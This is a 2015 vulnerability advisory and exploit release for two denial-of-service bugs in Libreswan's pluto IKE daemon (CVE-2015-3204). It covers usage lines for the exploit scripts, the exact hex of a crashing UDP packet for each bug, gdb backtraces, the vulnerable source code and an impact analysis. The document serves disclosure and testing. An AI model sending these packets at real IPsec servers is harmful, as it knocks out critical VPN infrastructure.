Libreswan Exploit 0.2 [sig]
Related:
Security Advisory for strongSwan
Security Advisory for IPsec Tools
IKEv1 Fuzzer
IPsec Vulnerabilities and Software Security Prediction
Two Denial of Service vulnerabilities were found on May 15th, 2015 in the latest versions of Libreswan. These vulnerabilities have been assigned CVE-2015-3204 for reference. Libreswan has patched this vulnerability and released v3.13. I am releasing the exploit so that people will be able to test their servers. It is also easy to generate this exploit using the tools I am releasing today which found these two vulnerabilities and two vulnerabilities in strongSwan (Libreswan's competitor). If you have access to test equipment that runs an IPsec server, you should run this fuzzer against it. If you are a security researcher with any interest in IPsec, you should improve this fuzzer, find bugs with it, and send a patch.
Product: Libreswan 3.12, 3.10, and possibly other versions
Website: https://libreswan.org/
Github: https://github.com/libreswan/libreswan
Type: Denial of Service (CWE-476)
Severity: Medium
CVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:N/A:C)
A single crafted UDP packet can crash pluto, the IKE daemon from Libreswan. The daemon asserts that the length of a string is greater than zero, which is not true. The impact of pluto daemon crashing is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.
Usage:
python3 libreswan_dos263.py 169.254.62.131
The single packet which causes this DoS to occur is below split into structures:
b9ce3eefc8b661dd00000000000000000110020000000000000000580000003c
00000001ffffffff00000000010100010000002801010000800b0001000c00040001518080010007800e0100800300038002000280040005
What it looks like on the server:
sudo /usr/local/libexec/ipsec/pluto --config=/etc/ipsec.conf -- sudo gdb -p $(pgrep pluto |head -n 1) ... (gdb) c Continuing. Program received signal SIGABRT, Aborted. 0x00007f2b4cf1ee37 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:55 55 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007f2b4cf1ee37 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:55 #1 0x00007f2b4cf2023a in __GI_abort () at abort.c:89 #2 0x00007f2b4f899f9f in libreswan_log_abort ( file_str=file_str@entry=0x7f2b4f94bb10 "/home/jvoss/libreswan-3.12/lib/libswan/constants.c", line_no=line_no@entry=55) at /home/jvoss/libreswan-3.12/programs/pluto/log.c:545 #3 0x00007f2b4f89a4d4 in passert_fail (pred_str=<optimized out>, file_str=0x7f2b4f94bb10 "/home/jvoss/libreswan-3.12/lib/libswan/constants.c", line_no=55) at /home/jvoss/libreswan-3.12/programs/pluto/log.c:637 #4 0x00007f2b4f8fdd2c in jam_str (dest=<optimized out>, size=0, src=<optimized out>) at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:55 #5 0x00007f2b4f8fe229 in bitnamesofb (table=<optimized out>, val=4160749568, val@entry=4294967295, b=b@entry=0x7f2b4fb897e0 <bitnamesbuf> "SIT_IDENTITY_ONLY+SIT_SECRECY+SIT_INTEGRITY+0x8+0x10+0x20+0x40+0x80+0x100+0x200+0x400+0x800+0x1000+0x2000+0x4000+0x8000+0x10000+0x20000+0x40000+0x80000+0x100000+0x200000+0x400000+0x800000+0x1000000+0", blen=blen@entry=200) at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:2186 #6 0x00007f2b4f8fe2d9 in bitnamesof (table=<optimized out>, val=val@entry=4294967295) at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:2221 #7 0x00007f2b4f8f890f in in_struct (struct_ptr=struct_ptr@entry=0x7fffca78c1cc, sd=0x7f2b4fb710b0 <ipsec_sit_desc>, ins=ins@entry=0x7fffca78c350, obj_pbs=obj_pbs@entry=0x0) at /home/jvoss/libreswan-3.12/programs/pluto/packet.c:1569 #8 0x00007f2b4f8b700d in preparse_isakmp_sa_body (sa_pbs=sa_pbs@entry=0x7fffca78c350) at /home/jvoss/libreswan-3.12/programs/pluto/ikev1_spdb_struct.c:798 #9 0x00007f2b4f8ad6ec in main_inI1_outR1 (md=0x7f2b510c5d30) at /home/jvoss/libreswan-3.12/programs/pluto/ikev1_main.c:601 #10 0x00007f2b4f8a9bf0 in process_packet_tail (mdp=mdp@entry=0x7fffca78c620) at /home/jvoss/libreswan-3.12/programs/pluto/ikev1.c:2139 #11 0x00007f2b4f8aa369 in process_v1_packet (mdp=mdp@entry=0x7fffca78c620) at /home/jvoss/libreswan-3.12/programs/pluto/ikev1.c:1663 #12 0x00007f2b4f8d95cb in process_packet (mdp=mdp@entry=0x7fffca78c620) at /home/jvoss/libreswan-3.12/programs/pluto/demux.c:161 #13 0x00007f2b4f8d9738 in comm_handle (ifp=ifp@entry=0x7f2b510c5ab0) at /home/jvoss/libreswan-3.12/programs/pluto/demux.c:225 #14 0x00007f2b4f8a1a94 in call_server () at /home/jvoss/libreswan-3.12/programs/pluto/server.c:742 #15 0x00007f2b4f88be05 in main (argc=<optimized out>, argv=<optimized out>) at /home/jvoss/libreswan-3.12/programs/pluto/plutomain.c:1387 (gdb) frame 4 #4 0x00007f2b4f8fdd2c in jam_str (dest=<optimized out>, size=0, src=<optimized out>) at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:55 55 passert(size > 0); /* need space for at least NUL */ (gdb) list 50 * Warning: Is it really wise to silently truncate? Only the caller knows. 51 * The caller SHOULD check by seeing if the result equals dest's roof. 52 */ 53 char *jam_str(char *dest, size_t size, const char *src) 54 { 55 passert(size > 0); /* need space for at least NUL */ 56 57 { 58 size_t full_len = strlen(src); 59 bool oflow = size - 1 < full_len; (gdb) frame 5 #5 0x00007f2b4f8fe229 in bitnamesofb (table=<optimized out>, val=4160749568, val@entry=4294967295, b=b@entry=0x7f2b4fb897e0 <bitnamesbuf> "SIT_IDENTITY_ONLY+SIT_SECRECY+SIT_INTEGRITY+0x8+0x10+0x20+0x40+0x80+0x100+0x200+0x400+0x800+0x1000+0x2000+0x4000+0x8000+0x10000+0x20000+0x40000+0x80000+0x100000+0x200000+0x400000+0x800000+0x1000000+0", blen=blen@entry=200) at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:2186 2186 p = jam_str(p, (size_t)(roof - p), "+"); (gdb) list 2181 for (tp = table, bit = 01; val != 0; bit <<= 1) { 2182 if (val & bit) { 2183 const char *n = *tp; 2184 2185 if (p != b) 2186 p = jam_str(p, (size_t)(roof - p), "+"); 2187 2188 if (n == NULL || *n == '\0') { 2189 /* 2190 * No name for this bit, so use hex. (gdb) frame 6 #6 0x00007f2b4f8fe2d9 in bitnamesof (table=<optimized out>, val=val@entry=4294967295) at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:2221 2221 return bitnamesofb(table, val, bitnamesbuf, sizeof(bitnamesbuf)); (gdb) list 2216 */ 2217 const char *bitnamesof(const char *const table[], lset_t val) 2218 { 2219 static char bitnamesbuf[200]; /* I hope that it is big enough! */ 2220 2221 return bitnamesofb(table, val, bitnamesbuf, sizeof(bitnamesbuf)); 2222 } 2223 2224 /* test a set by seeing if all bits have names */ 2225 bool testset(const char *const table[], lset_t val) (gdb) frame 7 #7 0x00007f2b4f8f890f in in_struct (struct_ptr=struct_ptr@entry=0x7fffca78c1cc, sd=0x7f2b4fb710b0 <ipsec_sit_desc>, ins=ins@entry=0x7fffca78c350, obj_pbs=obj_pbs@entry=0x0) at /home/jvoss/libreswan-3.12/programs/pluto/packet.c:1569 1569 ugh = builddiag( (gdb) list 1564 ugh = enum_enum_checker(sd->name, fp, last_enum); 1565 break; 1566 1567 case ft_set: /* bits representing set */ 1568 if (!testset(fp->desc, n)) { 1569 ugh = builddiag( 1570 "bitset %s of %s has unknown member(s): %s", 1571 fp->name, sd->name, 1572 bitnamesof(fp->desc, 1573 n));
Currently installed Libreswan:
[ebuild R ] net-misc/libreswan-3.10::gentoo USE="pam -caps -curl -dnssec -ldap" 0 KiB
Configuration only has one interesting thing in it...
config setup # strictcrlpolicy=yes # uniqueids = no conn net-net left=%defaultroute leftsubnet=10.1.0.0/16 leftcert=moonCert.pem right=169.254.44.43 rightsubnet=10.2.0.0/16 rightid="C=CH, O=Linux Libreswan, CN=sun.strongswan.org" auto=start
This configuration comes directly from the configuration howto on strongswan.org: https://www.strongswan.org/docs/readme4.htm#section_2.1
/* * Jam a string into a buffer of limited size. * * This does something like what people mistakenly think strncpy does * but the parameter order is like snprintf. * OpenBSD's strlcpy serves the same purpose. * * The buffer bound (size) must be greater than 0. * That allows a guarantee that the result is NUL-terminated. * * The result is a pointer: * if the string fits, to the NUL at the end of the string in dest; * if the string was truncated, to the roof of dest. * * Warning: Is it really wise to silently truncate? Only the caller knows. * The caller SHOULD check by seeing if the result equals dest's roof. */ char *jam_str(char *dest, size_t size, const char *src) { passert(size > 0); /* need space for at least NUL */ { size_t full_len = strlen(src); bool oflow = size - 1 < full_len; size_t copy_len = oflow ? size - 1 : full_len; memcpy(dest, src, copy_len); dest[copy_len] = '\0'; return dest + copy_len + (oflow ? 1 : 0); } } [...] /* * construct a string to name the bits on in a set * * Result of bitnamesof may be in STATIC buffer -- NOT RE-ENTRANT! * Note: prettypolicy depends on internal details of bitnamesofb. * binamesofb is re-entrant since the caller provides the buffer. */ const char *bitnamesofb(const char *const table[], lset_t val, char *b, size_t blen) { char *const roof = b + blen; char *p = b; lset_t bit; const char *const *tp; passert(blen != 0); /* need room for NUL */ /* if nothing gets filled in, default to "none" rather than "" */ (void) jam_str(p, (size_t)(roof - p), "none"); for (tp = table, bit = 01; val != 0; bit <<= 1) { if (val & bit) { const char *n = *tp; if (p != b) p = jam_str(p, (size_t)(roof - p), "+"); if (n == NULL || *n == '\0') { /* * No name for this bit, so use hex. * if snprintf returns a different value from * strlen, truncation happened */ (void)snprintf(p, (size_t)(roof - p), "0x%" PRIxLSET, bit); p += strlen(p); } else { p = jam_str(p, (size_t)(roof - p), n); } val -= bit; } /* * Move on in the table, but not past end. * This is a bit of a trick: while we are at stuck the end, * the loop will print out the remaining bits in hex. */ if (*tp != NULL) tp++; } return b; }
It isn't very clear what's going on just looking at the code, but you can see that p increases by strlen(p) or changes to what jam_str returns in two cases. jam_str always returns the input + copy_len or the input + copy_len + 1, which is derived from input. That means roof-p (which is size, the important variable in this vulnerability) should be decreasing steadily over this for loop. If a certain value is given, size is less than or equal to zero, giving us the passert crash.
Ironically, jam_str was designed to avoid common errors in strcpy and strncpy. Who would have thought that you would have serious issues when dealing with code this complex. No kidding.
The jam_str function was introduced in Mar 6 2013 in libreswan version 3.1, of course to avoid common errors in strcpy and strncpy.
Product: Libreswan 3.12, 3.10, and possibly other versions
Website: https://libreswan.org/
Github: https://github.com/libreswan/libreswan
Type: Denial of Service (CWE-476)
Severity: Medium
CVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:N/A:C)
A single crafted UDP packet can crash pluto, the IKE daemon from Libreswan. The daemon asserts that a pointer is not null, which is not true. The impact of pluto daemon crashing is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.
Usage:
python3 libreswan_dos493.py 169.254.62.131
The single packet which causes this DoS to occur is below split into structures:
b9ce3eefc8b661dd00000000000000000f10020000000000000000580000003c
000000010000000100000030010100010000002801010000800b0001000c00040001518080010007800e0100800300038002000280040005
sudo /usr/local/libexec/ipsec/pluto --config=/etc/ipsec.conf -- sudo gdb -p $(pgrep pluto |head -n 1) ... (gdb) c Continuing. Program received signal SIGABRT, Aborted. 0x00007f4bb2dfae37 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:55 55 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007f4bb2dfae37 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:55 #1 0x00007f4bb2dfc23a in __GI_abort () at abort.c:89 #2 0x00007f4bb5775f9f in libreswan_log_abort ( file_str=file_str@entry=0x7f4bb580ca88 "/home/jvoss/libreswan-3.12/programs/pluto/ikev1.c", line_no=line_no@entry=1865) at /home/jvoss/libreswan-3.12/programs/pluto/log.c:545 #3 0x00007f4bb57764d4 in passert_fail (pred_str=<optimized out>, file_str=0x7f4bb580ca88 "/home/jvoss/libreswan-3.12/programs/pluto/ikev1.c", line_no=1865) at /home/jvoss/libreswan-3.12/programs/pluto/log.c:637 #4 0x00007f4bb5785637 in process_packet_tail (mdp=mdp@entry=0x7ffc288c6ce0) at /home/jvoss/libreswan-3.12/programs/pluto/ikev1.c:1865 #5 0x00007f4bb5786369 in process_v1_packet (mdp=mdp@entry=0x7ffc288c6ce0) at /home/jvoss/libreswan-3.12/programs/pluto/ikev1.c:1663 #6 0x00007f4bb57b55cb in process_packet (mdp=mdp@entry=0x7ffc288c6ce0) at /home/jvoss/libreswan-3.12/programs/pluto/demux.c:161 #7 0x00007f4bb57b5738 in comm_handle (ifp=ifp@entry=0x7f4bb5adbab0) at /home/jvoss/libreswan-3.12/programs/pluto/demux.c:225 #8 0x00007f4bb577da94 in call_server () at /home/jvoss/libreswan-3.12/programs/pluto/server.c:742 #9 0x00007f4bb5767e05 in main (argc=<optimized out>, argv=<optimized out>) at /home/jvoss/libreswan-3.12/programs/pluto/plutomain.c:1387 (gdb) frame 4 #4 0x00007f4bb5785637 in process_packet_tail (mdp=mdp@entry=0x7ffc288c6ce0) at /home/jvoss/libreswan-3.12/programs/pluto/ikev1.c:1865 1865 passert(sd != NULL); (gdb) list 1860 excuse, 1861 enum_show(&ikev1_payload_names, np)); 1862 SEND_NOTIFICATION(INVALID_PAYLOAD_TYPE); 1863 return; 1864 } 1865 passert(sd != NULL); 1866 } 1867 1868 { 1869 lset_t s = LELEM(np); (gdb) print md->hdr.isa_np $4 = 15 '\017'
The configuration in this is the same as the previous vulnerability.
libreswan-3.12/include/ietf_constants.h:483: ISAKMP_NEXT_SAK = 15, /* SA KEK Payload - RFC 6407 */ libreswan-3.12/programs/pluto/ikev1.c:1851 case ISAKMP_NEXT_SAK: /* AKA ISAKMP_NEXT_NATD_BADDRAFTS */ loglog(RC_LOG_SERIOUS, "%smessage with unsupported payload ISAKMP_NEXT_SAK (as ISAKMP_NEXT_NATD_BADDRAFTS) ignored", excuse); break; libreswan-3.12/programs/pluto/ikev1.c:1865 passert(sd != NULL);
This branch does not set sd and does not return. Therefore the assertion is not true, crashing pluto with an abort.
When the IKE daemon crashes, it may or may not be restarted.
If it is restarted, it gives the attacker as many attempts as they want to get the IKE daemon into the startup state. Result: unknown.
If it is not restarted, the keys do not get changed. When the IV gets repeated, the stream loses some confidentiality and integrity. Replay becomes easy. Result: possible compromise.
If the system decides that the two systems should no longer use IPsec, the system may revert back to IP silently. Result: possible complete compromise.
If the system decides to instead stop sending packets to the affected system, this becomes a denial of service. Result: complete availability compromise.
The most likely result is clearly the availability compromise. However, it is possible for the system to revert to IP silently which is by far the worst possible case scenario. Ubuntu and Gentoo by default do not restart the server, which leads to availability compromise for those systems that do not have keys exchanged and for any system that has keys exchanged, it will lead to an unknown result. The worst possible result for Ubuntu and Gentoo in their default configuration is possible compromise. However, since IPsec requires administrators to configure their systems, it is likely that many different configurations exist that do not conform to these assumptions.
When encryption is compromised, the layer below becomes available to the attacker. IPsec was designed to run over public networks, thus attackers are there.
An aside about Man-in-the-middle attacks: Man-in-the-middle attacks are not theoretical. It is practical and exploitable on WiFi (road-warrior use-case), corporate networks (flat topology corporation use-case), server racks (DMZ/segmented use-case), and backbone routers (ISP use-case).
I am not trying to be alarmist. The odds of someone compromising your entire corporate network based on this vulnerability are low. The main reason to upgrade is because the attacker can deny availability to your IPsec server and the result of this attack is not fully understood for every environment.
Many thanks to Paul Wouters and the Libreswan team for a quick turnaround and a very well-informed discussion about the implications of these bugs. Their efforts ensured a smooth release of this information.
Two Denial of Service vulnerabilities were found on May 15th, 2015 in the latest versions of Libreswan. Exploits for these vulnerabilities are available. Upgrade as soon as possible. The most likely result of an attack is denial of service, but the result is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.